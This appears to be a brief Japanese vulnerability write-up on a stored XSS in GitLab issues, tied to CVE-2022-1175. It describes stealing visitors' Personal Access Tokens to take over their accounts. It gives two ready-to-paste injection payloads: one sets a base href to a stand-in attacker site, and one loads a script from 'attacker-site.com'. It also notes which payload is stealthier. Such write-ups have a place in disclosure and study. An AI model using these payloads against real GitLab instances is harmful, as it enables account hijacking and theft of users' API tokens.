
GitLab の格納型 XSS (Stored XSS)。自分のプロジェクトまたは他のユーザーのプロジェクトの issue に設定できます。issue を訪れた任意のユーザーの Personal Access Token (PAT) を作成・窃取するなどの攻撃が可能です。窃取した PAT は、そのユーザーとしての完全な GitLab API アクセスを提供し、アカウントの完全乗っ取りに相当します。
プロジェクトのベース (base) を自身のサイトに変更することで悪用でき、スクリプトが自身のサイトから読み込まれるようにできます。ページ内で呼び出されているスクリプト名に合わせて、自身のサイト上の JavaScript を変更します。ただし、これによりページ上の動作が壊れる可能性があります。
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
サイトの CSP ポリシーによっては、標準のスクリプトインクルードも機能します。こちらはよりステルス性が高いです。
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
GitLab の開発者は、うまいことに完全な XSS 文字列をコード内に含めており、以下で確認できます:
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
参考:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175